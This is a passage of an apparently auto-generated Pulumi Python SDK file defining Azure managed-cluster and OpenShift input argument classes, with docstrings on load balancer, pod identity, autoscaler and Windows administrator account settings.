Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs']] = None, outbound_ips: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPsArgs']] = None): """ Profile of the managed cluster load balancer. :param pulumi.Input[int] allocated_outbound_ports: Desired number of allocated SNAT ports per VM. Allowed values must be in the range of 0 to 64000 (inclusive). The default value is 0 which results in Azure dynamically allocating ports. :param pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]] effective_outbound_ips: The effective outbound IP resources of the cluster load balancer. :param pulumi.Input[int] idle_timeout_in_minutes: Desired outbound flow idle timeout in minutes. Allowed values must be in the range of 4 to 120 (inclusive). The default value is 30 minutes. :param pulumi.Input['ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs'] managed_outbound_ips: Desired managed outbound IPs for the cluster load balancer. :param pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs'] outbound_ip_prefixes: Desired outbound IP Prefix resources for the cluster load balancer. :param pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPsArgs'] outbound_ips: Desired outbound IP resources for the cluster load balancer. """ if allocated_outbound_ports is None: allocated_outbound_ports = 0 if allocated_outbound_ports is not None: pulumi.set(__self__, "allocated_outbound_ports", allocated_outbound_ports) if effective_outbound_ips is not None: pulumi.set(__self__, "effective_outbound_ips", effective_outbound_ips) if idle_timeout_in_minutes is None: idle_timeout_in_minutes = 30 if idle_timeout_in_minutes is not None: pulumi.set(__self__, "idle_timeout_in_minutes", idle_timeout_in_minutes) if managed_outbound_ips is not None: pulumi.set(__self__, "managed_outbound_ips", managed_outbound_ips) if outbound_ip_prefixes is not None: pulumi.set(__self__, "outbound_ip_prefixes", outbound_ip_prefixes) if outbound_ips is not None: pulumi.set(__self__, "outbound_ips", outbound_ips) @property @pulumi.getter(name="allocatedOutboundPorts") def allocated_outbound_ports(self) -> Optional[pulumi.Input[int]]: """ Desired number of allocated SNAT ports per VM. Allowed values must be in the range of 0 to 64000 (inclusive). The default value is 0 which results in Azure dynamically allocating ports. """ return pulumi.get(self, "allocated_outbound_ports") @allocated_outbound_ports.setter def allocated_outbound_ports(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "allocated_outbound_ports", value) @property @pulumi.getter(name="effectiveOutboundIPs") def effective_outbound_ips(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]: """ The effective outbound IP resources of the cluster load balancer. """ return pulumi.get(self, "effective_outbound_ips") @effective_outbound_ips.setter def effective_outbound_ips(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]): pulumi.set(self, "effective_outbound_ips", value) @property @pulumi.getter(name="idleTimeoutInMinutes") def idle_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]: """ Desired outbound flow idle timeout in minutes. Allowed values must be in the range of 4 to 120 (inclusive). The default value is 30 minutes. """ return pulumi.get(self, "idle_timeout_in_minutes") @idle_timeout_in_minutes.setter def idle_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "idle_timeout_in_minutes", value) @property @pulumi.getter(name="managedOutboundIPs") def managed_outbound_ips(self) -> Optional[pulumi.Input['ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs']]: """ Desired managed outbound IPs for the cluster load balancer. """ return pulumi.get(self, "managed_outbound_ips") @managed_outbound_ips.setter def managed_outbound_ips(self, value: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs']]): pulumi.set(self, "managed_outbound_ips", value) @property @pulumi.getter(name="outboundIPPrefixes") def outbound_ip_prefixes(self) -> Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs']]: """ Desired outbound IP Prefix resources for the cluster load balancer. """ return pulumi.get(self, "outbound_ip_prefixes") @outbound_ip_prefixes.setter def outbound_ip_prefixes(self, value: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs']]): pulumi.set(self, "outbound_ip_prefixes", value) @property @pulumi.getter(name="outboundIPs") def outbound_ips(self) -> Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPsArgs']]: """ Desired outbound IP resources for the cluster load balancer. """ return pulumi.get(self, "outbound_ips") @outbound_ips.setter def outbound_ips(self, value: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileOutboundIPsArgs']]): pulumi.set(self, "outbound_ips", value) @pulumi.input_type class ManagedClusterPodIdentityExceptionArgs: def __init__(__self__, *, name: pulumi.Input[str], namespace: pulumi.Input[str], pod_labels: pulumi.Input[Mapping[str, pulumi.Input[str]]]): """ :param pulumi.Input[str] name: Name of the pod identity exception. :param pulumi.Input[str] namespace: Namespace of the pod identity exception. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] pod_labels: Pod labels to match. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "pod_labels", pod_labels) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Name of the pod identity exception. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Namespace of the pod identity exception. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="podLabels") def pod_labels(self) -> pulumi.Input[Mapping[str, pulumi.Input[str]]]: """ Pod labels to match. """ return pulumi.get(self, "pod_labels") @pod_labels.setter def pod_labels(self, value: pulumi.Input[Mapping[str, pulumi.Input[str]]]): pulumi.set(self, "pod_labels", value) @pulumi.input_type class ManagedClusterPodIdentityProfileArgs: def __init__(__self__, *, allow_network_plugin_kubenet: Optional[pulumi.Input[bool]] = None, enabled: Optional[pulumi.Input[bool]] = None, user_assigned_identities: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityArgs']]]] = None, user_assigned_identity_exceptions: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityExceptionArgs']]]] = None): """ :param pulumi.Input[bool] allow_network_plugin_kubenet: Customer consent for enabling AAD pod identity addon in cluster using Kubenet network plugin. :param pulumi.Input[bool] enabled: Whether the pod identity addon is enabled. :param pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityArgs']]] user_assigned_identities: User assigned pod identity settings. :param pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityExceptionArgs']]] user_assigned_identity_exceptions: User assigned pod identity exception settings. """ if allow_network_plugin_kubenet is not None: pulumi.set(__self__, "allow_network_plugin_kubenet", allow_network_plugin_kubenet) if enabled is not None: pulumi.set(__self__, "enabled", enabled) if user_assigned_identities is not None: pulumi.set(__self__, "user_assigned_identities", user_assigned_identities) if user_assigned_identity_exceptions is not None: pulumi.set(__self__, "user_assigned_identity_exceptions", user_assigned_identity_exceptions) @property @pulumi.getter(name="allowNetworkPluginKubenet") def allow_network_plugin_kubenet(self) -> Optional[pulumi.Input[bool]]: """ Customer consent for enabling AAD pod identity addon in cluster using Kubenet network plugin. """ return pulumi.get(self, "allow_network_plugin_kubenet") @allow_network_plugin_kubenet.setter def allow_network_plugin_kubenet(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "allow_network_plugin_kubenet", value) @property @pulumi.getter def enabled(self) -> Optional[pulumi.Input[bool]]: """ Whether the pod identity addon is enabled. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enabled", value) @property @pulumi.getter(name="userAssignedIdentities") def user_assigned_identities(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityArgs']]]]: """ User assigned pod identity settings. """ return pulumi.get(self, "user_assigned_identities") @user_assigned_identities.setter def user_assigned_identities(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityArgs']]]]): pulumi.set(self, "user_assigned_identities", value) @property @pulumi.getter(name="userAssignedIdentityExceptions") def user_assigned_identity_exceptions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityExceptionArgs']]]]: """ User assigned pod identity exception settings. """ return pulumi.get(self, "user_assigned_identity_exceptions") @user_assigned_identity_exceptions.setter def user_assigned_identity_exceptions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ManagedClusterPodIdentityExceptionArgs']]]]): pulumi.set(self, "user_assigned_identity_exceptions", value) @pulumi.input_type class ManagedClusterPodIdentityArgs: def __init__(__self__, *, identity: pulumi.Input['UserAssignedIdentityArgs'], name: pulumi.Input[str], namespace: pulumi.Input[str], binding_selector: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input['UserAssignedIdentityArgs'] identity: Information of the user assigned identity. :param pulumi.Input[str] name: Name of the pod identity. :param pulumi.Input[str] namespace: Namespace of the pod identity. :param pulumi.Input[str] binding_selector: Binding selector to use for the AzureIdentityBinding resource. """ pulumi.set(__self__, "identity", identity) pulumi.set(__self__, "name", name) pulumi.set(__self__, "namespace", namespace) if binding_selector is not None: pulumi.set(__self__, "binding_selector", binding_selector) @property @pulumi.getter def identity(self) -> pulumi.Input['UserAssignedIdentityArgs']: """ Information of the user assigned identity. """ return pulumi.get(self, "identity") @identity.setter def identity(self, value: pulumi.Input['UserAssignedIdentityArgs']): pulumi.set(self, "identity", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Name of the pod identity. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Namespace of the pod identity. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="bindingSelector") def binding_selector(self) -> Optional[pulumi.Input[str]]: """ Binding selector to use for the AzureIdentityBinding resource. """ return pulumi.get(self, "binding_selector") @binding_selector.setter def binding_selector(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "binding_selector", value) @pulumi.input_type class ManagedClusterPropertiesAutoScalerProfileArgs: def __init__(__self__, *, balance_similar_node_groups: Optional[pulumi.Input[str]] = None, expander: Optional[pulumi.Input[Union[str, 'Expander']]] = None, max_empty_bulk_delete: Optional[pulumi.Input[str]] = None, max_graceful_termination_sec: Optional[pulumi.Input[str]] = None, max_node_provision_time: Optional[pulumi.Input[str]] = None, max_total_unready_percentage: Optional[pulumi.Input[str]] = None, new_pod_scale_up_delay: Optional[pulumi.Input[str]] = None, ok_total_unready_count: Optional[pulumi.Input[str]] = None, scale_down_delay_after_add: Optional[pulumi.Input[str]] = None, scale_down_delay_after_delete: Optional[pulumi.Input[str]] = None, scale_down_delay_after_failure: Optional[pulumi.Input[str]] = None, scale_down_unneeded_time: Optional[pulumi.Input[str]] = None, scale_down_unready_time: Optional[pulumi.Input[str]] = None, scale_down_utilization_threshold: Optional[pulumi.Input[str]] = None, scan_interval: Optional[pulumi.Input[str]] = None, skip_nodes_with_local_storage: Optional[pulumi.Input[str]] = None, skip_nodes_with_system_pods: Optional[pulumi.Input[str]] = None): """ Parameters to be applied to the cluster-autoscaler when enabled """ if balance_similar_node_groups is not None: pulumi.set(__self__, "balance_similar_node_groups", balance_similar_node_groups) if expander is not None: pulumi.set(__self__, "expander", expander) if max_empty_bulk_delete is not None: pulumi.set(__self__, "max_empty_bulk_delete", max_empty_bulk_delete) if max_graceful_termination_sec is not None: pulumi.set(__self__, "max_graceful_termination_sec", max_graceful_termination_sec) if max_node_provision_time is not None: pulumi.set(__self__, "max_node_provision_time", max_node_provision_time) if max_total_unready_percentage is not None: pulumi.set(__self__, "max_total_unready_percentage", max_total_unready_percentage) if new_pod_scale_up_delay is not None: pulumi.set(__self__, "new_pod_scale_up_delay", new_pod_scale_up_delay) if ok_total_unready_count is not None: pulumi.set(__self__, "ok_total_unready_count", ok_total_unready_count) if scale_down_delay_after_add is not None: pulumi.set(__self__, "scale_down_delay_after_add", scale_down_delay_after_add) if scale_down_delay_after_delete is not None: pulumi.set(__self__, "scale_down_delay_after_delete", scale_down_delay_after_delete) if scale_down_delay_after_failure is not None: pulumi.set(__self__, "scale_down_delay_after_failure", scale_down_delay_after_failure) if scale_down_unneeded_time is not None: pulumi.set(__self__, "scale_down_unneeded_time", scale_down_unneeded_time) if scale_down_unready_time is not None: pulumi.set(__self__, "scale_down_unready_time", scale_down_unready_time) if scale_down_utilization_threshold is not None: pulumi.set(__self__, "scale_down_utilization_threshold", scale_down_utilization_threshold) if scan_interval is not None: pulumi.set(__self__, "scan_interval", scan_interval) if skip_nodes_with_local_storage is not None: pulumi.set(__self__, "skip_nodes_with_local_storage", skip_nodes_with_local_storage) if skip_nodes_with_system_pods is not None: pulumi.set(__self__, "skip_nodes_with_system_pods", skip_nodes_with_system_pods) @property @pulumi.getter(name="balanceSimilarNodeGroups") def balance_similar_node_groups(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "balance_similar_node_groups") @balance_similar_node_groups.setter def balance_similar_node_groups(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "balance_similar_node_groups", value) @property @pulumi.getter def expander(self) -> Optional[pulumi.Input[Union[str, 'Expander']]]: return pulumi.get(self, "expander") @expander.setter def expander(self, value: Optional[pulumi.Input[Union[str, 'Expander']]]): pulumi.set(self, "expander", value) @property @pulumi.getter(name="maxEmptyBulkDelete") def max_empty_bulk_delete(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "max_empty_bulk_delete") @max_empty_bulk_delete.setter def max_empty_bulk_delete(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_empty_bulk_delete", value) @property @pulumi.getter(name="maxGracefulTerminationSec") def max_graceful_termination_sec(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "max_graceful_termination_sec") @max_graceful_termination_sec.setter def max_graceful_termination_sec(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_graceful_termination_sec", value) @property @pulumi.getter(name="maxNodeProvisionTime") def max_node_provision_time(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "max_node_provision_time") @max_node_provision_time.setter def max_node_provision_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_node_provision_time", value) @property @pulumi.getter(name="maxTotalUnreadyPercentage") def max_total_unready_percentage(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "max_total_unready_percentage") @max_total_unready_percentage.setter def max_total_unready_percentage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_total_unready_percentage", value) @property @pulumi.getter(name="newPodScaleUpDelay") def new_pod_scale_up_delay(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "new_pod_scale_up_delay") @new_pod_scale_up_delay.setter def new_pod_scale_up_delay(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "new_pod_scale_up_delay", value) @property @pulumi.getter(name="okTotalUnreadyCount") def ok_total_unready_count(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ok_total_unready_count") @ok_total_unready_count.setter def ok_total_unready_count(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ok_total_unready_count", value) @property @pulumi.getter(name="scaleDownDelayAfterAdd") def scale_down_delay_after_add(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_delay_after_add") @scale_down_delay_after_add.setter def scale_down_delay_after_add(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_delay_after_add", value) @property @pulumi.getter(name="scaleDownDelayAfterDelete") def scale_down_delay_after_delete(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_delay_after_delete") @scale_down_delay_after_delete.setter def scale_down_delay_after_delete(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_delay_after_delete", value) @property @pulumi.getter(name="scaleDownDelayAfterFailure") def scale_down_delay_after_failure(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_delay_after_failure") @scale_down_delay_after_failure.setter def scale_down_delay_after_failure(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_delay_after_failure", value) @property @pulumi.getter(name="scaleDownUnneededTime") def scale_down_unneeded_time(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_unneeded_time") @scale_down_unneeded_time.setter def scale_down_unneeded_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_unneeded_time", value) @property @pulumi.getter(name="scaleDownUnreadyTime") def scale_down_unready_time(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_unready_time") @scale_down_unready_time.setter def scale_down_unready_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_unready_time", value) @property @pulumi.getter(name="scaleDownUtilizationThreshold") def scale_down_utilization_threshold(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scale_down_utilization_threshold") @scale_down_utilization_threshold.setter def scale_down_utilization_threshold(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_down_utilization_threshold", value) @property @pulumi.getter(name="scanInterval") def scan_interval(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "scan_interval") @scan_interval.setter def scan_interval(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scan_interval", value) @property @pulumi.getter(name="skipNodesWithLocalStorage") def skip_nodes_with_local_storage(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "skip_nodes_with_local_storage") @skip_nodes_with_local_storage.setter def skip_nodes_with_local_storage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "skip_nodes_with_local_storage", value) @property @pulumi.getter(name="skipNodesWithSystemPods") def skip_nodes_with_system_pods(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "skip_nodes_with_system_pods") @skip_nodes_with_system_pods.setter def skip_nodes_with_system_pods(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "skip_nodes_with_system_pods", value) @pulumi.input_type class ManagedClusterPropertiesIdentityProfileArgs: def __init__(__self__, *, client_id: Optional[pulumi.Input[str]] = None, object_id: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] client_id: The client id of the user assigned identity. :param pulumi.Input[str] object_id: The object id of the user assigned identity. :param pulumi.Input[str] resource_id: The resource id of the user assigned identity. """ if client_id is not None: pulumi.set(__self__, "client_id", client_id) if object_id is not None: pulumi.set(__self__, "object_id", object_id) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) @property @pulumi.getter(name="clientId") def client_id(self) -> Optional[pulumi.Input[str]]: """ The client id of the user assigned identity. """ return pulumi.get(self, "client_id") @client_id.setter def client_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_id", value) @property @pulumi.getter(name="objectId") def object_id(self) -> Optional[pulumi.Input[str]]: """ The object id of the user assigned identity. """ return pulumi.get(self, "object_id") @object_id.setter def object_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "object_id", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: """ The resource id of the user assigned identity. """ return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value) @pulumi.input_type class ManagedClusterSKUArgs: def __init__(__self__, *, name: Optional[pulumi.Input[Union[str, 'ManagedClusterSKUName']]] = None, tier: Optional[pulumi.Input[Union[str, 'ManagedClusterSKUTier']]] = None): """ :param pulumi.Input[Union[str, 'ManagedClusterSKUName']] name: Name of a managed cluster SKU. :param pulumi.Input[Union[str, 'ManagedClusterSKUTier']] tier: Tier of a managed cluster SKU. """ if name is not None: pulumi.set(__self__, "name", name) if tier is not None: pulumi.set(__self__, "tier", tier) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[Union[str, 'ManagedClusterSKUName']]]: """ Name of a managed cluster SKU. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[Union[str, 'ManagedClusterSKUName']]]): pulumi.set(self, "name", value) @property @pulumi.getter def tier(self) -> Optional[pulumi.Input[Union[str, 'ManagedClusterSKUTier']]]: """ Tier of a managed cluster SKU. """ return pulumi.get(self, "tier") @tier.setter def tier(self, value: Optional[pulumi.Input[Union[str, 'ManagedClusterSKUTier']]]): pulumi.set(self, "tier", value) @pulumi.input_type class ManagedClusterServicePrincipalProfileArgs: def __init__(__self__, *, client_id: pulumi.Input[str], secret: Optional[pulumi.Input[str]] = None): """ Information about a service principal identity for the cluster to use for manipulating Azure APIs. :param pulumi.Input[str] client_id: The ID for the service principal. :param pulumi.Input[str] secret: The secret password associated with the service principal in plain text. """ pulumi.set(__self__, "client_id", client_id) if secret is not None: pulumi.set(__self__, "secret", secret) @property @pulumi.getter(name="clientId") def client_id(self) -> pulumi.Input[str]: """ The ID for the service principal. """ return pulumi.get(self, "client_id") @client_id.setter def client_id(self, value: pulumi.Input[str]): pulumi.set(self, "client_id", value) @property @pulumi.getter def secret(self) -> Optional[pulumi.Input[str]]: """ The secret password associated with the service principal in plain text. """ return pulumi.get(self, "secret") @secret.setter def secret(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secret", value) @pulumi.input_type class ManagedClusterWindowsProfileArgs: def __init__(__self__, *, admin_username: pulumi.Input[str], admin_password: Optional[pulumi.Input[str]] = None, enable_csi_proxy: Optional[pulumi.Input[bool]] = None, license_type: Optional[pulumi.Input[Union[str, 'LicenseType']]] = None): """ Profile for Windows VMs in the container service cluster. :param pulumi.Input[str] admin_username: Specifies the name of the administrator account. **restriction:** Cannot end in "." **Disallowed values:** "administrator", "admin", "user", "user1", "test", "user2", "test1", "user3", "admin1", "1", "123", "a", "actuser", "adm", "admin2", "aspnet", "backup", "console", "david", "guest", "john", "owner", "root", "server", "sql", "support", "support_388945a0", "sys", "test2", "test3", "user4", "user5". **Minimum-length:** 1 character **Max-length:** 20 characters :param pulumi.Input[str] admin_password: Specifies the password of the administrator account. **Minimum-length:** 8 characters **Max-length:** 123 characters **Complexity requirements:** 3 out of 4 conditions below need to be fulfilled Has lower characters Has upper characters Has a digit Has a special character (Regex match [\W_]) **Disallowed values:** "abc@123", "P@$$w0rd", "P@ssw0rd", "P@ssword123", "Pa$$word", "pass@word1", "Password!", "Password1", "Password22", "iloveyou!" :param pulumi.Input[bool] enable_csi_proxy: Whether to enable CSI proxy. :param pulumi.Input[Union[str, 'LicenseType']] license_type: The licenseType to use for Windows VMs. Windows_Server is used to enable Azure Hybrid User Benefits for Windows VMs. """ pulumi.set(__self__, "admin_username", admin_username) if admin_password is not None: pulumi.set(__self__, "admin_password", admin_password) if enable_csi_proxy is not None: pulumi.set(__self__, "enable_csi_proxy", enable_csi_proxy) if license_type is not None: pulumi.set(__self__, "license_type", license_type) @property @pulumi.getter(name="adminUsername") def admin_username(self) -> pulumi.Input[str]: """ Specifies the name of the administrator account. **restriction:** Cannot end in "." **Disallowed values:** "administrator", "admin", "user", "user1", "test", "user2", "test1", "user3", "admin1", "1", "123", "a", "actuser", "adm", "admin2", "aspnet", "backup", "console", "david", "guest", "john", "owner", "root", "server", "sql", "support", "support_388945a0", "sys", "test2", "test3", "user4", "user5". **Minimum-length:** 1 character **Max-length:** 20 characters """ return pulumi.get(self, "admin_username") @admin_username.setter def admin_username(self, value: pulumi.Input[str]): pulumi.set(self, "admin_username", value) @property @pulumi.getter(name="adminPassword") def admin_password(self) -> Optional[pulumi.Input[str]]: """ Specifies the password of the administrator account. **Minimum-length:** 8 characters **Max-length:** 123 characters **Complexity requirements:** 3 out of 4 conditions below need to be fulfilled Has lower characters Has upper characters Has a digit Has a special character (Regex match [\W_]) **Disallowed values:** "abc@123", "P@$$w0rd", "P@ssw0rd", "P@ssword123", "Pa$$word", "pass@word1", "Password!", "Password1", "Password22", "iloveyou!" """ return pulumi.get(self, "admin_password") @admin_password.setter def admin_password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "admin_password", value) @property @pulumi.getter(name="enableCSIProxy") def enable_csi_proxy(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable CSI proxy. """ return pulumi.get(self, "enable_csi_proxy") @enable_csi_proxy.setter def enable_csi_proxy(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_csi_proxy", value) @property @pulumi.getter(name="licenseType") def license_type(self) -> Optional[pulumi.Input[Union[str, 'LicenseType']]]: """ The licenseType to use for Windows VMs. Windows_Server is used to enable Azure Hybrid User Benefits for Windows VMs. """ return pulumi.get(self, "license_type") @license_type.setter def license_type(self, value: Optional[pulumi.Input[Union[str, 'LicenseType']]]): pulumi.set(self, "license_type", value) @pulumi.input_type class NetworkProfileArgs: def __init__(__self__, *, peer_vnet_id: Optional[pulumi.Input[str]] = None, vnet_cidr: Optional[pulumi.Input[str]] = None, vnet_id: Optional[pulumi.Input[str]] = None): """ Represents the OpenShift networking configuration :param pulumi.Input[str] peer_vnet_id: CIDR of the Vnet to peer. :param pulumi.Input[str] vnet_cidr: CIDR for the OpenShift Vnet. :param pulumi.Input[str] vnet_id: ID of the Vnet created for OSA cluster. """ if peer_vnet_id is not None: pulumi.set(__self__, "peer_vnet_id", peer_vnet_id) if vnet_cidr is None: vnet_cidr = '10.0.0.0/8' if vnet_cidr is not None: pulumi.set(__self__, "vnet_cidr", vnet_cidr) if vnet_id is not None: pulumi.set(__self__, "vnet_id", vnet_id) @property @pulumi.getter(name="peerVnetId") def peer_vnet_id(self) -> Optional[pulumi.Input[str]]: """ CIDR of the Vnet to peer. """ return pulumi.get(self, "peer_vnet_id") @peer_vnet_id.setter def peer_vnet_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "peer_vnet_id", value) @property @pulumi.getter(name="vnetCidr") def vnet_cidr(self) -> Optional[pulumi.Input[str]]: """ CIDR for the OpenShift Vnet. """ return pulumi.get(self, "vnet_cidr") @vnet_cidr.setter def vnet_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vnet_cidr", value) @property @pulumi.getter(name="vnetId") def vnet_id(self) -> Optional[pulumi.Input[str]]: """ ID of the Vnet created for OSA cluster. """ return pulumi.get(self, "vnet_id") @vnet_id.setter def vnet_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vnet_id", value) @pulumi.input_type class OpenShiftManagedClusterAADIdentityProviderArgs: def __init__(__self__, *, kind: pulumi.Input[str], client_id: Optional[pulumi.Input[str]] = None, customer_admin_group_id: Optional[pulumi.Input[str]] = None, secret: Optional[pulumi.Input[str]] = None, tenant_id: Optional[pulumi.Input[str]] = None): """ Defines the Identity provider for MS AAD. :param pulumi.Input[str] kind: The kind of the provider. Expected value is 'AADIdentityProvider'. :param pulumi.Input[str] client_id: The clientId password associated with the provider. :param pulumi.Input[str] customer_admin_group_id: The groupId to be granted cluster admin role. :param pulumi.Input[str] secret: The secret password associated with the provider. :param pulumi.Input[str] tenant_id: The tenantId associated with the provider. """ pulumi.set(__self__, "kind", 'AADIdentityProvider') if client_id is not None: pulumi.set(__self__, "client_id", client_id) if customer_admin_group_id is not None: pulumi.set(__self__, "customer_admin_group_id", customer_admin_group_id) if secret is not None: pulumi.set(__self__, "secret", secret) if tenant_id is not None: pulumi.set(__self__, "tenant_id", tenant_id) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: """ The kind of the provider. Expected value is 'AADIdentityProvider'. """ return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter(name="clientId") def client_id(self) -> Optional[pulumi.Input[str]]: """ The clientId password associated with the provider. """ return pulumi.get(self, "client_id") @client_id.setter def client_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_id", value) @property @pulumi.getter(name="customerAdminGroupId") def customer_admin_group_id(self) -> Optional[pulumi.Input[str]]: """ The groupId to be granted cluster admin role. """ return pulumi.get(self, "customer_admin_group_id") @customer_admin_group_id.setter def customer_admin_group_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "customer_admin_group_id", value) @property @pulumi.getter def secret(self) -> Optional[pulumi.Input[str]]: """ The secret password associated with the provider. """ return pulumi.get(self, "secret") @secret.setter def secret(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secret", value) @property @pulumi.getter(name="tenantId") def tenant_id(self) -> Optional[pulumi.Input[str]]: """ The tenantId associated with the provider. """ return pulumi.get(self, "tenant_id") @tenant_id.setter def tenant_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tenant_id", value) @pulumi.input_type class OpenShiftManagedClusterAgentPoolProfileArgs: def __init__(__self__, *, count: pulumi.Input[int], name: pulumi.Input[str], vm_size: pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']], os_type: Optional[pulumi.Input[Union[str, 'OSType']]] = None, role: Optional[pulumi.Input[Union[str, 'OpenShiftAgentPoolProfileRole']]] = None, subnet_cidr: Optional[pulumi.Input[str]] = None): """ Defines the configuration of the OpenShift cluster VMs. :param pulumi.Input[int] count: Number of agents (VMs) to host docker containers. :param pulumi.Input[str] name: Unique name of the pool profile in the context of the subscription and resource group. :param pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']] vm_size: Size of agent VMs. :param pulumi.Input[Union[str, 'OSType']] os_type: OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. :param pulumi.Input[Union[str, 'OpenShiftAgentPoolProfileRole']] role: Define the role of the AgentPoolProfile. :param pulumi.Input[str] subnet_cidr: Subnet CIDR for the peering. """ pulumi.set(__self__, "count", count) pulumi.set(__self__, "name", name) pulumi.set(__self__, "vm_size", vm_size) if os_type is not None: pulumi.set(__self__, "os_type", os_type) if role is not None: pulumi.set(__self__, "role", role) if subnet_cidr is None: subnet_cidr = '10.0.0.0/24' if subnet_cidr is not None: pulumi.set(__self__, "subnet_cidr", 